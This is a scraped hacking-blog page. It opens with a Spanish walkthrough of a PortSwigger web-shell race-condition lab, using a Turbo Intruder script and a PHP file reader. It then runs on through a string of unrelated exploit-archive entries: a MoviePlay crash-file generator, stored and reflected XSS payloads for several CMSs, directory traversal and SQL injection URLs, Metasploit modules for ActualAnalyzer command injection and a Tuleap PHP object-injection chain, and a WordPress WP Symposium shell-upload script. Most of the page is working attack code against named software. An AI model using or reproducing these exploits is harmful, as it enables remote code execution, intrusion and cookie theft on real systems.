Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863287224

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Web shell upload via race condition”.

image 154

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor tiene una gran defensa ante la subida de archivos maliciosos, por lo que tendremos que explotar una race condition.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 155
image 156

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 157

Como podemos ver, tenemos una opción para subir archivos, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 158

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 159
image 160

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 161
image 162
image 163

Aquí Burp Suite interceptará la petición de subida del archivo:

image 164

Teniendo la petición, vamos a moverla al repeater para poder ver la respuesta por parte del servidor:

image 165

Como vemos, nos indica que solo permite archivos JPG y PNG. Además, el laboratorio nos indicaba que hay una gran defensa por parte del servidor, por lo que no tiene pinta que vaya funcionar ninguno de los métodos visto en los otros laboratorios.

En este caso, lo que vamos a explotar es un race condition. Esto, básicamente consiste en que cuando enviamos un archivo que el servidor no permite, cuando lo enviamos, realmente este archivo se sube al servidor, lo que pasa que milisegundos después, el servidor compara el archivo con las sanitizaciones que tenga configuradas, y si no cumple alguna, lo elimina. Pero durante un mini periodo de tiempo, este archivo se mantiene en el servidor subido.

Para explotar esto, vamos a hacer uso de la extensión “Turbo Intruder”. La podemos instalar desde el propio burp suite:

image 166

Una vez instalado, nos vamos a la petición que habiamos interceptado y mandado al repeater y le damos click derecho para mandarlo al turbo intruder:

image 167

Se nos abrirá una pestaña como la siguiente:

image 168

Básicamente en la parte superior tenemos nuestra petición, y en la inferior, tenemos por así decirlo la programación de lo que queremos que haga la extensión.

La idea, va a ser usar el siguiente código, por lo que toda la parte inferior del código por defecto, la eliminamos y la sustituimos por lo siguiente:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
image 169

La idea es que, la extensión va a hacer la petición POST subiendo el archivo PHP, e inmediatamente, va a realizar 5 peticiones GET a la ruta absoluta de donde se subirá el archivo. De tal forma, que quizas tenemos la suerte de que alguna de esas 5 peticiones GET se hacen entre el momento donde el archivo se ha subido y el momento donde se ha comprobado y eliminado por parte del servidor, en ese mini espacio de tiempo.

Entendiendo, en el código que acabamos de sustituir, vamos a colocar en la variable request1, la petición POST completa, y en la variable request2, la petición GET completa. Podemos hacer uso del HTTP History para obtener por ejemplo la petición GET:

image 170

La idea, es que el código quede de forma parecida a lo siguiente:

# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''
POST /my-account/avatar HTTP/1.1
Host: ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net
Cookie: session=JNvosgi2FoKxUcKBOL4y07fao7UWjLLG
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------330791307811450659691420606466
Content-Length: 549
Origin: https://ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net
Dnt: 1
Referer: https://ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------330791307811450659691420606466
Content-Disposition: form-data; name="avatar"; filename="readSecret.php"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>

-----------------------------330791307811450659691420606466
Content-Disposition: form-data; name="user"

wiener
-----------------------------330791307811450659691420606466
Content-Disposition: form-data; name="csrf"

eNET4DMt9dleHLPIsCZpUeBUCbDs5JQ2
-----------------------------330791307811450659691420606466--

'''

    request2 = '''
GET /files/avatars/readSecret.php HTTP/1.1
Host: ac4b1f5f1e3dd03bc0f834b600e0000b.web-security-academy.net
Cookie: session=JNvosgi2FoKxUcKBOL4y07fao7UWjLLG
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

Con esto hecho, empezamos el ataque dándole al botón “Attack” de la parte inferior:

image 171
image 172

Se nos abrirá una nueva venta donde veremos las diferentes peticiones, y si nos fijamos de las 5 peticiones GET, 3 han dado error 404, sin embargo, 2 peticiones han dado 200, por lo que estas dos peticiones se han hecho en el mini espacio del que hablábamos antes. Al mismo tiempo, si clickamos en una de ellas, podemos la salida del código PHP interpretado, dicho de otra forma, el contenido del archivo secret.

Con esto, enviamos la solución:

image 173
image 174

Y de esta forma, completamos el laboratorio:

image 175
image 176

Enlaces de interés:

  • Race Condition – Hacktricks
  • HackerOne Report
  • HackerOne Report
  • Race Conditions Exploring the Possibilities

source: https://www.securityfocus.com/bid/47111/info

MoviePlay is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

MoviePlay 4.82 is vulnerable; other versions may also be affected.

#!/usr/bin/python
#(+)Exploit Title: Movie Player v4.82 0Day Buffer overflow/DOS Exploit
#(+)Software Link: http://www.movieplay.org/download.php
#(+)Software  : Movie Player
#(+)Version   : v4.82
#(+)Tested On : WIN-XP SP3
#(+) Date     : 31.03.2011
#(+) Hour     : 3:37 PM
#Similar Bug was found by cr4wl3r in MediaPlayer Classic

print " _______________________________________________________________________";
																	
print "(+)Exploit Title: Movie Player v4.82 0Day Buffer overflow/DOS Exploit";
 
print "(+) Software Link: http://www.movieplay.org/download.php";
print "(+) Software  : Movie Player";
print "(+) Version   : v4.82";
print "(+) Tested On : WIN-XP SP3";
print "(+) Date      : 31.03.2011";
print "(+) Hour      : 13:37 PM	";
print "____________________________________________________________________\n	";
import time
time.sleep (2);
print "\nGenerating the exploit file !!!";
time.sleep (2);
print "\n\nMoviePlayerExploit.avi file generated!!";
time.sleep (2);

ExploitLocation = "C:\\MoviePlayerExploit.avi"
f = open(ExploitLocation, "wb")
memoryloc ='\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00';
f.write(memoryloc)
f.close()
 


print "\n\n(+) Done!\n";
print  "(+) Now Just open MoviePlayerExploit.avi with Movie Player and Kaboooommm !! ;) \n";
print "(+) Most of the times there is a crash\n whenever you open the folder where the MoviePlayerExploit.avi is stored :D \n";

time.sleep (2);
time.sleep (1);
print "\n\n\n########################################################################\n (+)Exploit Coded by: ^Xecuti0N3r & d3M0l!tioN3r \n";
print "(+)^Xecuti0N3r: E-mail \n";
print "(+)d3M0l!tioN3r: E-mail \n";
print "(+)Special Thanks to: MaxCaps & aNnIh!LatioN3r \n";
print "########################################################################\n\n";
time.sleep (4);
            
Advisory: Persistent XSS Vulnerability in CMS Papoo Light v6
Advisory ID: SROEADV-2014-01
Author: Steffen Rösemann
Affected Software: CMS Papoo Version 6.0.0 Rev. 4701
Vendor URL: http://www.papoo.de/
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:
==========================

The CMS Papoo Light Version has a persistent XSS vulnerability in its guestbook functionality and in its user-registration functionality.

==================
Technical Details:
==================

XSS-Vulnerability #1:

Papoo Light CMS v6 provides the functionality to post comments on a guestbook via the following url: http://{target-url}/guestbook.php?menuid=6.

The input fields with the id „author“ is vulnerable to XSS which gets stored in the database and makes that vulnerability persistent.

Payload-Examples:

<img src='n' onerror=“javascript:alert('XSS')“ >
<iframe src=“some_remote_source“></iframe>

XSS-Vulnerability #2:

People can register themselves on Papoo Light v6 CMS at http://{target-url}/account.php?menuid=2. Instead of using a proper username, an attacker can inject HTML and/or JavaScriptcode on the username input-field.

Code gets written to the database backend then. Attacker only has to confirm his/her e-mail address to be able to login and spread the code by posting to the forum or the guestbook where the username is displayed.

Payload-Examples:

see above (XSS #1)

=========
Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================
13-Dec-2014 – found XSS #1
13-Dec-2014 - informed the developers (XSS #1)
14-Dec-2014 – found XSS #2
14-Dec-2014 – informed the developers (XSS #2)
15-Dec-2014 - release date of this security advisory
15-Dec-2014 - response and fix by vendor
15-Dec-2014 - post on BugTraq

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

http://www.papoo.de/
http://sroesemann.blogspot.de
            
source: https://www.securityfocus.com/bid/47105/info

Collabtive is prone to multiple remote input-validation vulnerabilities including cross-site scripting, HTML-injection, and directory-traversal issues.

Attackers can exploit these issues to obtain sensitive information, execute arbitrary script code, and steal cookie-based authentication credentials.

Collabtive 0.6.5 is vulnerable; other versions may also be affected. 

Directory Traversal:

http://www.example.com/thumb.php?pic=./../../../../../tmp/photo.jpg

Cross-site Scripting:

http://www.example.com/managetimetracker.php?action=editform&tid=1&id=1"><script>alert(document.cookie)</script>
http://www.example.com/manageuser.php?action=profile&id=1"><script>alert(document.cookie)</script>


HTML-injection:

<form action="http://www.example.com/manageproject.php?action=edit&id=1" method="post" name="main">
<input type="hidden" name="name" value=&#039;test"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => "ActualAnalyzer 'ant' Cookie Command Execution",
      'Description'     => %q{
        This module exploits a command execution vulnerability in
        ActualAnalyzer version 2.81 and prior.

        The 'aa.php' file allows unauthenticated users to
        execute arbitrary commands in the 'ant' cookie.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Benjamin Harris', # Discovery and exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'      =>
        [
          ['EDB', '34450'],
          ['OSVDB', '110601']
        ],
      'Payload'         =>
        {
          'Space'       => 4096, # HTTP cookie
          'DisableNops' => true,
          'BadChars'    => "\x00"
        },
      'Arch'            => ARCH_CMD,
      'Platform'        => 'unix',
      'Targets'         =>
        [
          # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
          ['ActualAnalyzer <= 2.81', { 'auto' => true }]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Aug 28 2014',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
        OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
        OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
        OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
      ], self.class)
  end

  #
  # Checks if target is running ActualAnalyzer <= 2.81
  #
  def check
    # check for aa.php
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
    if !res
      vprint_error("#{peer} - Connection failed")
      return Exploit::CheckCode::Unknown
    elsif res.code == 404
      vprint_error("#{peer} - Could not find aa.php")
      return Exploit::CheckCode::Safe
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
      vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
      return Exploit::CheckCode::Detected
    end
    # check version
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
    if !res
      vprint_error("#{peer} - Connection failed")
      return Exploit::CheckCode::Unknown
    elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
      vprint_status("#{peer} - Found version: #{version}")
      if Gem::Version.new(version) <= Gem::Version.new('2.81')
        report_vuln(
          host: rhost,
          name: self.name,
          info: "Module #{fullname} detected ActualAnalyzer #{version}",
          refs: references,
        )
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Detected
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end

  #
  # Try to retrieve a valid analytics host from view.php unauthenticated
  #
  def get_analytics_host_view
    analytics_host = nil
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'view.php'),
      'vars_post' => {
        'id_h' => '',
        'listp' => '',
        'act_h' => 'vis_int',
        'oldact' => 'vis_grpg',
        'tint_h' => '',
        'extact_h' => '',
        'home_pos' => '',
        'act' => 'vis_grpg',
        'tint' => 'total',
        'grpg' => '201',
        'cp_vst' => 'on',
        'cp_hst' => 'on',
        'cp_htst' => 'on',
        'cp_reps' => 'y',
        'tab_sort' => '1_1'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on view.php")
    end
    nil
  end

  #
  # Try to retrieve a valid analytics host from code.php unauthenticated
  #
  def get_analytics_host_code
    analytics_host = nil
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'code.php'),
      'vars_get' => {
        'pid' => '1'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on code.php")
    end
    nil
  end

  #
  # Try to retrieve a valid analytics host from admin.php with creds
  #
  def get_analytics_host_admin
    analytics_host = nil
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'vars_post' => {
        'uname' => user,
        'passw' => pass,
        'id_h' => '',
        'listp' => '',
        'act_h' => '',
        'oldact' => 'pages',
        'tint_h' => '',
        'extact_h' => '',
        'param_h' => '',
        'param2_h' => '',
        'home_pos' => '',
        'act' => 'dynhtml',
        'set.x' => '11',
        'set.y' => '11'
      }
    )
    if !res
      vprint_error("#{peer} - Connection failed")
    elsif res.code == 200 && res.body =~ />Login</
      vprint_status("#{peer} - Login failed.")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
      vprint_good("#{peer} - Found analytics host: #{analytics_host}")
      print_good("#{peer} - Login successful! (#{user}:#{pass})")
      service_data = {
        address: Rex::Socket.getaddress(rhost, true),
        port: rport,
        service_name: (ssl ? 'https' : 'http'),
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }
      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        private_type: :password,
        private_data: pass,
        username: user
      }
      credential_data.merge!(service_data)
      credential_core = create_credential(credential_data)
      login_data = {
        core: credential_core,
        last_attempted_at: DateTime.now,
        status: Metasploit::Model::Login::Status::SUCCESSFUL
      }
      login_data.merge!(service_data)
      create_credential_login(login_data)
      return analytics_host
    else
      vprint_status("#{peer} - Could not find any hosts on admin.php")
    end
    nil
  end

  def execute_command(cmd, opts = { analytics_host: vhost })
    vuln_cookies = %w(anw anm)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'aa.php'),
      'vars_get' => { 'anp' => opts[:analytics_host] },
      'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
    )
    if !res
      fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
    elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
      print_good("#{peer} - Payload sent successfully")
      return true
    elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
      vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
    elsif res.code == 200 && res.body =~ /Admin area<\/title>/
      fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
    else
      fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
    nil
  end

  def exploit
    return unless check == Exploit::CheckCode::Vulnerable
    analytics_hosts = []
    if datastore['ANALYZER_HOST'].blank?
      analytics_hosts << get_analytics_host_code
      analytics_hosts << get_analytics_host_view
      analytics_hosts << get_analytics_host_admin
      analytics_hosts << vhost
      analytics_hosts << '127.0.0.1'
      analytics_hosts << 'localhost'
    else
      analytics_hosts << datastore['ANALYZER_HOST']
    end
    analytics_hosts.uniq.each do |host|
      next if host.nil?
      vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
      break if execute_command(payload.encoded, analytics_host: host)
    end
  end
end
            
source: https://www.securityfocus.com/bid/47104/info

InTerra Blog Machine is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

InTerra Blog Machine 1.84 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" --> <input type="hidden" name="subject" value=&#039;post title"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="content" value=&#039;content&#039;> <input type="hidden" name="date[Date_Day]" value="31"> <input type="hidden" name="date[Date_Month]" value="03"> <input type="hidden" name="date[Date_Year]" value="2011"> <input type="hidden" name="time[Time_Hour]" value="13"> <input type="hidden" name="time[Time_Minute]" value="59"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="section" value="0"> <input type="hidden" name="sectionNewName" value=""> <input type="hidden" name="sectionNewUnix" value=""> <input type="hidden" name="sectionNewHidden" value="0"> <input type="hidden" name="replicate" value="1"> <input type="hidden" name="keywords" value=""> <input type="hidden" name="edit" value="POST_ID"> </form> <script> document.main.submit(); </script>
            
source: https://www.securityfocus.com/bid/47100/info

ICJobSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ICJobSite 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/icjobsite/index.php?page=position_details&pid=[SQL-Injection] 
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tuleap PHP Unserialize Code Execution',
      'Description'    => %q{
        This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be
        abused to allow authenticated users to execute arbitrary code with the permissions of the
        web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
        file. The exploit abuses the destructor method from the Jabbex class in order to reach a
        call_user_func_array() call in the Jabber class and call the fetchPostActions() method from
        the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In
        order to work, the target must have the 'sys_create_project_in_one_step' option disabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'EgiX',
      'References'     =>
        [
          ['CVE', '2014-8791'],
          ['OSVDB', '115128'],
          ['URL', 'http://karmainsecurity.com/KIS-2014-13'],
          ['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Generic (PHP Payload)', {}]],
      'DisclosureDate' => 'Nov 27 2014',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
        OptString.new('USERNAME', [true, "The username to authenticate with" ]),
        OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
        OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
        Opt::RPORT(443)
      ], self.class)
  end

  def check
    flag = rand_text_alpha(rand(10)+20)
    res = exec_php("print #{flag};")

    if res and res.body and res.body.to_s =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def do_login()
    print_status("#{peer} - Logging in...")

    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'account/login.php'),
      'vars_post' => {'form_loginname' => username, 'form_pw' => password}
    })

    unless res && res.code == 302
      fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")
    end

    print_status("#{peer} - Login successful with #{username}:#{password}")
    res.get_cookies
  end

  def exec_php(php_code)
    session_cookies = do_login()

    chain =  'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}'
    chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";'
    chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
    chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'project/register.php'),
      'cookie'    => session_cookies,
      'vars_post' => {'data' => chain},
      'headers'   => {'payload' => Rex::Text.encode_base64(php_code)}
    }, 3)
  end

  def exploit
    print_status("#{peer} - Exploiting the PHP object injection...")
    exec_php(payload.encoded)
  end
end
            
#!/usr/bin/python
#
# Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability
#
#
# Vulnerability discovered by Claudio Viviani
#
# Exploit written by Claudio Viviani
#
#
# 2014-11-27:  Discovered vulnerability
# 2014-12-01:  Vendor Notification (Twitter)
# 2014-12-02:  Vendor Notification (Web Site) 
# 2014-12-04:  Vendor Notification (E-mail)
# 2014-12-11:  No Response/Feedback
# 2014-12-11:  Published
#
# Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
#
# --------------------------------------------------------------------
#
# The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
#
#   if ($_FILES["file"]["error"] > 0) {
#       echo "Error: " . $_FILES["file"]["error"] . "<br>";
#   } else {
#       $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');
#       //echo "Upload: " . $_FILES["file"]["name"] . "<br>";
#       $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
#       //echo "Extension: " . $ext . "<br />";
#       if (strpos($allowedExts, $ext)) {
#       $extAllowed = true;
#       } else {
#           $extAllowed = false;
#       }
#       //echo "Type: " . $_FILES["file"]["type"] . "<br>";
#       //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
#       //echo "Stored in: " . $_FILES["file"]["tmp_name"];
#
#       if (!$extAllowed) {
#           echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);
#       } else {
#           // Copy file to tmp location
#   ...
#   ...
#   ...
#
# BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension
#
# The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"
#
# ---------------------------------------------------------------------
#
# Dork google:  index of "wp-symposium"
#
#
# Tested on BackBox 3.x with python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse
# File management
import os, os.path, mimetypes

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file
# Get file's mimetype
def get_content_type(filename):
    return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

# Create multipart header
def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName):

   getfields = dict()
   getfields['uploader_uid'] = '1'
   getfields['uploader_dir'] = './'+randDirName
   getfields['uploader_url'] = url_symposium_upload

   payloadcontent = open(payloadname).read()

   LIMIT = '----------lImIt_of_THE_fIle_eW_$'
   CRLF = '\r\n'

   L = []
   for (key, value) in getfields.items():
      L.append('--' + LIMIT)
      L.append('Content-Disposition: form-data; name="%s"' % key)
      L.append('')
      L.append(value)

   L.append('--' + LIMIT)
   L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php"))
   L.append('Content-Type: %s' % get_content_type(payloadname))
   L.append('')
   L.append(payloadcontent)
   L.append('--' + LIMIT + '--')
   L.append('')
   body = CRLF.join(L)
   return body

banner = """
  ___ ___               __
 |   Y   .-----.----.--|  .-----.----.-----.-----.-----.
 |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|
 |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|
 |:      |                |__|
 |::.|:. |
 `--- ---'
  ___ ___ _______        _______                                  __
 |   Y   |   _   |______|   _   .--.--.--------.-----.-----.-----|__.--.--.--------.
 |.  |   |.  1   |______|   1___|  |  |        |  _  |  _  |__ --|  |  |  |        |
 |. / \  |.  ____|      |____   |___  |__|__|__|   __|_____|_____|__|_____|__|__|__|
 |:      |:  |          |:  1   |_____|        |__|
 |::.|:. |::.|          |::.. . |
 `--- ---`---'          `-------'
                                                              Wp-Symposium
                                                      Sh311 Upl04d Vuln3r4b1l1ty
                                                                v14.11

                                 Written by:

                               Claudio Viviani

                            http://www.homelab.it

                               info@homelab.it
                           homelabit@protonmail.ch

                      https://www.facebook.com/homelabit
                        https://twitter.com/homelabit
                      https://plus.google.com/+HomelabIt1/
             https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('-f', '--file', action="store",
                  help="Insert file name, ex: shell.php",
                  )
commandList.add_option('--timeout', action="store", default=10, type="int",
                  help="[Timeout Value] - Default 10",
                  )

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file:
    print(banner)
    commandList.print_help()
    sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/'

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

randDirName = id_generator()
randShellName = id_generator()

bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
           'content-type': content_type,
           'content-length': str(len(bodyupload)) }

try:
    req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers)
    response = urllib2.urlopen(req)
    read = response.read()

    if "error" in read or read == "0" or read == "":
       print("[X] Upload Failed :(")
    else:
       print("[!] Shell Uploaded")
       print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")

except urllib2.HTTPError as e:
    print("[X] "+str(e))
except urllib2.URLError as e:
    print("[X] Connection Error: "+str(e))
            
